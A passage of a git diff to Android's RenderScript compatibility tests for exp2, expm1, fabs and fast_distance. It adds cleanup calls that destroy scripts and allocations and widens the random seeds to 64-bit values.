             script.forEach_testExp2Float3Float3(inV, out);
             verifyResultsExp2Float3Float3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testExp2Float3Float3: " + e.toString());
         }
@@ -193,9 +207,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testExp2Float3Float3(inV, out);
             verifyResultsExp2Float3Float3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testExp2Float3Float3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsExp2Float3Float3(Allocation inV, Allocation out, boolean relaxed) {
@@ -250,11 +266,12 @@
     }
 
     private void checkExp2Float4Float4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xd39f5030l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x4eef11a6d39f5030l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.forEach_testExp2Float4Float4(inV, out);
             verifyResultsExp2Float4Float4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testExp2Float4Float4: " + e.toString());
         }
@@ -262,9 +279,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testExp2Float4Float4(inV, out);
             verifyResultsExp2Float4Float4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testExp2Float4Float4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsExp2Float4Float4(Allocation inV, Allocation out, boolean relaxed) {
@@ -325,11 +344,12 @@
     }
 
     private void checkExp2HalfHalf() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xe270827al, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xa7680b09e270827al, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.forEach_testExp2HalfHalf(inV, out);
             verifyResultsExp2HalfHalf(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testExp2HalfHalf: " + e.toString());
         }
@@ -337,9 +357,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             scriptRelaxed.forEach_testExp2HalfHalf(inV, out);
             verifyResultsExp2HalfHalf(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testExp2HalfHalf: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsExp2HalfHalf(Allocation inV, Allocation out, boolean relaxed) {
@@ -398,11 +420,12 @@
     }
 
     private void checkExp2Half2Half2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x25d5714cl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x1e76ca4825d5714cl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.forEach_testExp2Half2Half2(inV, out);
             verifyResultsExp2Half2Half2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testExp2Half2Half2: " + e.toString());
         }
@@ -410,9 +433,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testExp2Half2Half2(inV, out);
             verifyResultsExp2Half2Half2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testExp2Half2Half2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsExp2Half2Half2(Allocation inV, Allocation out, boolean relaxed) {
@@ -471,11 +496,12 @@
     }
 
     private void checkExp2Half3Half3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x84dd3640l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x1e76d4e984dd3640l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.forEach_testExp2Half3Half3(inV, out);
             verifyResultsExp2Half3Half3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testExp2Half3Half3: " + e.toString());
         }
@@ -483,9 +509,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testExp2Half3Half3(inV, out);
             verifyResultsExp2Half3Half3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testExp2Half3Half3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsExp2Half3Half3(Allocation inV, Allocation out, boolean relaxed) {
@@ -544,11 +572,12 @@
     }
 
     private void checkExp2Half4Half4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xe3e4fb34l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x1e76df8ae3e4fb34l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.forEach_testExp2Half4Half4(inV, out);
             verifyResultsExp2Half4Half4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testExp2Half4Half4: " + e.toString());
         }
@@ -556,9 +585,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testExp2Half4Half4(inV, out);
             verifyResultsExp2Half4Half4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testExp2Half4Half4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsExp2Half4Half4(Allocation inV, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestExpm1.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestExpm1.java
index e10b400..b2ab149 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestExpm1.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestExpm1.java
@@ -37,17 +37,25 @@
         scriptRelaxed = new ScriptC_TestExpm1Relaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloat {
         public float inV;
         public Target.Floaty out;
     }
 
     private void checkExpm1FloatFloat() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xa183a9e4l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xea420692a183a9e4l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.forEach_testExpm1FloatFloat(inV, out);
             verifyResultsExpm1FloatFloat(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testExpm1FloatFloat: " + e.toString());
         }
@@ -55,9 +63,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             scriptRelaxed.forEach_testExpm1FloatFloat(inV, out);
             verifyResultsExpm1FloatFloat(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testExpm1FloatFloat: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsExpm1FloatFloat(Allocation inV, Allocation out, boolean relaxed) {
@@ -112,11 +122,12 @@
     }
 
     private void checkExpm1Float2Float2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x547050a8l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xf6bc2e57547050a8l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.forEach_testExpm1Float2Float2(inV, out);
             verifyResultsExpm1Float2Float2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testExpm1Float2Float2: " + e.toString());
         }
@@ -124,9 +135,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testExpm1Float2Float2(inV, out);
             verifyResultsExpm1Float2Float2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testExpm1Float2Float2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsExpm1Float2Float2(Allocation inV, Allocation out, boolean relaxed) {
@@ -181,11 +194,12 @@
     }
 
     private void checkExpm1Float3Float3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x4a8b7186l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xf6bdf7724a8b7186l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.forEach_testExpm1Float3Float3(inV, out);
             verifyResultsExpm1Float3Float3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testExpm1Float3Float3: " + e.toString());
         }
@@ -193,9 +207,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testExpm1Float3Float3(inV, out);
             verifyResultsExpm1Float3Float3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testExpm1Float3Float3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsExpm1Float3Float3(Allocation inV, Allocation out, boolean relaxed) {
@@ -250,11 +266,12 @@
     }
 
     private void checkExpm1Float4Float4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x40a69264l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xf6bfc08d40a69264l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.forEach_testExpm1Float4Float4(inV, out);
             verifyResultsExpm1Float4Float4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testExpm1Float4Float4: " + e.toString());
         }
@@ -262,9 +279,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testExpm1Float4Float4(inV, out);
             verifyResultsExpm1Float4Float4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testExpm1Float4Float4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsExpm1Float4Float4(Allocation inV, Allocation out, boolean relaxed) {
@@ -325,11 +344,12 @@
     }
 
     private void checkExpm1HalfHalf() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x45f98ceel, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xbccea8b145f98ceel, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.forEach_testExpm1HalfHalf(inV, out);
             verifyResultsExpm1HalfHalf(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testExpm1HalfHalf: " + e.toString());
         }
@@ -337,9 +357,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             scriptRelaxed.forEach_testExpm1HalfHalf(inV, out);
             verifyResultsExpm1HalfHalf(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testExpm1HalfHalf: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsExpm1HalfHalf(Allocation inV, Allocation out, boolean relaxed) {
@@ -398,11 +420,12 @@
     }
 
     private void checkExpm1Half2Half2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xea1f120l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xb09f78460ea1f120l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.forEach_testExpm1Half2Half2(inV, out);
             verifyResultsExpm1Half2Half2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testExpm1Half2Half2: " + e.toString());
         }
@@ -410,9 +433,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testExpm1Half2Half2(inV, out);
             verifyResultsExpm1Half2Half2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testExpm1Half2Half2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsExpm1Half2Half2(Allocation inV, Allocation out, boolean relaxed) {
@@ -471,11 +496,12 @@
     }
 
     private void checkExpm1Half3Half3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x6da9b614l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xb09f82e76da9b614l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.forEach_testExpm1Half3Half3(inV, out);
             verifyResultsExpm1Half3Half3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testExpm1Half3Half3: " + e.toString());
         }
@@ -483,9 +509,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testExpm1Half3Half3(inV, out);
             verifyResultsExpm1Half3Half3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testExpm1Half3Half3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsExpm1Half3Half3(Allocation inV, Allocation out, boolean relaxed) {
@@ -544,11 +572,12 @@
     }
 
     private void checkExpm1Half4Half4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xccb17b08l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xb09f8d88ccb17b08l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.forEach_testExpm1Half4Half4(inV, out);
             verifyResultsExpm1Half4Half4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testExpm1Half4Half4: " + e.toString());
         }
@@ -556,9 +585,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testExpm1Half4Half4(inV, out);
             verifyResultsExpm1Half4Half4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testExpm1Half4Half4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsExpm1Half4Half4(Allocation inV, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFabs.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFabs.java
index 50d468b..3da5084 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFabs.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFabs.java
@@ -37,17 +37,25 @@
         scriptRelaxed = new ScriptC_TestFabsRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloat {
         public float inV;
         public Target.Floaty out;
     }
 
     private void checkFabsFloatFloat() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x7f929ae9l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xd84cf8f27f929ae9l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.forEach_testFabsFloatFloat(inV, out);
             verifyResultsFabsFloatFloat(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFabsFloatFloat: " + e.toString());
         }
@@ -55,9 +63,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             scriptRelaxed.forEach_testFabsFloatFloat(inV, out);
             verifyResultsFabsFloatFloat(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFabsFloatFloat: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsFabsFloatFloat(Allocation inV, Allocation out, boolean relaxed) {
@@ -112,11 +122,12 @@
     }
 
     private void checkFabsFloat2Float2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x2e5b1dc5l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x43ccc4c22e5b1dc5l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.forEach_testFabsFloat2Float2(inV, out);
             verifyResultsFabsFloat2Float2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFabsFloat2Float2: " + e.toString());
         }
@@ -124,9 +135,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testFabsFloat2Float2(inV, out);
             verifyResultsFabsFloat2Float2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFabsFloat2Float2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsFabsFloat2Float2(Allocation inV, Allocation out, boolean relaxed) {
@@ -181,11 +194,12 @@
     }
 
     private void checkFabsFloat3Float3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x24763ea3l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x43ce8ddd24763ea3l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.forEach_testFabsFloat3Float3(inV, out);
             verifyResultsFabsFloat3Float3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFabsFloat3Float3: " + e.toString());
         }
@@ -193,9 +207,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testFabsFloat3Float3(inV, out);
             verifyResultsFabsFloat3Float3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFabsFloat3Float3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsFabsFloat3Float3(Allocation inV, Allocation out, boolean relaxed) {
@@ -250,11 +266,12 @@
     }
 
     private void checkFabsFloat4Float4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x1a915f81l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x43d056f81a915f81l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.forEach_testFabsFloat4Float4(inV, out);
             verifyResultsFabsFloat4Float4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFabsFloat4Float4: " + e.toString());
         }
@@ -262,9 +279,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testFabsFloat4Float4(inV, out);
             verifyResultsFabsFloat4Float4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFabsFloat4Float4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsFabsFloat4Float4(Allocation inV, Allocation out, boolean relaxed) {
@@ -325,11 +344,12 @@
     }
 
     private void checkFabsHalfHalf() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xe268991bl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x8c0fe057e268991bl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.forEach_testFabsHalfHalf(inV, out);
             verifyResultsFabsHalfHalf(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFabsHalfHalf: " + e.toString());
         }
@@ -337,9 +357,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             scriptRelaxed.forEach_testFabsHalfHalf(inV, out);
             verifyResultsFabsHalfHalf(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFabsHalfHalf: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsFabsHalfHalf(Allocation inV, Allocation out, boolean relaxed) {
@@ -398,11 +420,12 @@
     }
 
     private void checkFabsHalf2Half2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xecb0e225l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x9eaa6aa5ecb0e225l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.forEach_testFabsHalf2Half2(inV, out);
             verifyResultsFabsHalf2Half2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFabsHalf2Half2: " + e.toString());
         }
@@ -410,9 +433,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testFabsHalf2Half2(inV, out);
             verifyResultsFabsHalf2Half2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFabsHalf2Half2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsFabsHalf2Half2(Allocation inV, Allocation out, boolean relaxed) {
@@ -471,11 +496,12 @@
     }
 
     private void checkFabsHalf3Half3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x4bb8a719l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x9eaa75474bb8a719l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.forEach_testFabsHalf3Half3(inV, out);
             verifyResultsFabsHalf3Half3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFabsHalf3Half3: " + e.toString());
         }
@@ -483,9 +509,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testFabsHalf3Half3(inV, out);
             verifyResultsFabsHalf3Half3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFabsHalf3Half3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsFabsHalf3Half3(Allocation inV, Allocation out, boolean relaxed) {
@@ -544,11 +572,12 @@
     }
 
     private void checkFabsHalf4Half4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xaac06c0dl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x9eaa7fe8aac06c0dl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.forEach_testFabsHalf4Half4(inV, out);
             verifyResultsFabsHalf4Half4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFabsHalf4Half4: " + e.toString());
         }
@@ -556,9 +585,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testFabsHalf4Half4(inV, out);
             verifyResultsFabsHalf4Half4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFabsHalf4Half4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsFabsHalf4Half4(Allocation inV, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFastDistance.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFastDistance.java
index 4c7a065..efcb7c2 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFastDistance.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFastDistance.java
@@ -37,6 +37,13 @@
         scriptRelaxed = new ScriptC_TestFastDistanceRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloatFloat {
         public float inLeftVector;
         public float inRightVector;
@@ -44,13 +51,14 @@
     }
 
     private void checkFastDistanceFloatFloatFloat() {
-        Allocation inLeftVector = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xb9b28b1al, false);
-        Allocation inRightVector = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x9f1626e3l, false);
+        Allocation inLeftVector = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xeb32e5abb9b28b1al, false);
+        Allocation inRightVector = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x83606d459f1626e3l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.set_gAllocInRightVector(inRightVector);
             script.forEach_testFastDistanceFloatFloatFloat(inLeftVector, out);
             verifyResultsFastDistanceFloatFloatFloat(inLeftVector, inRightVector, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFastDistanceFloatFloatFloat: " + e.toString());
         }
@@ -59,9 +67,12 @@
             scriptRelaxed.set_gAllocInRightVector(inRightVector);
             scriptRelaxed.forEach_testFastDistanceFloatFloatFloat(inLeftVector, out);
             verifyResultsFastDistanceFloatFloatFloat(inLeftVector, inRightVector, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFastDistanceFloatFloatFloat: " + e.toString());
         }
+        inLeftVector.destroy();
+        inRightVector.destroy();
     }
 
     private void verifyResultsFastDistanceFloatFloatFloat(Allocation inLeftVector, Allocation inRightVector, Allocation out, boolean relaxed) {
@@ -126,13 +137,14 @@
     }
 
     private void checkFastDistanceFloat2Float2Float() {
-        Allocation inLeftVector = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xc7fabd9el, false);
-        Allocation inRightVector = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x536a30fl, false);
+        Allocation inLeftVector = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x580238eac7fabd9el, false);
+        Allocation inRightVector = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xca3368dd0536a30fl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.set_gAllocInRightVector(inRightVector);
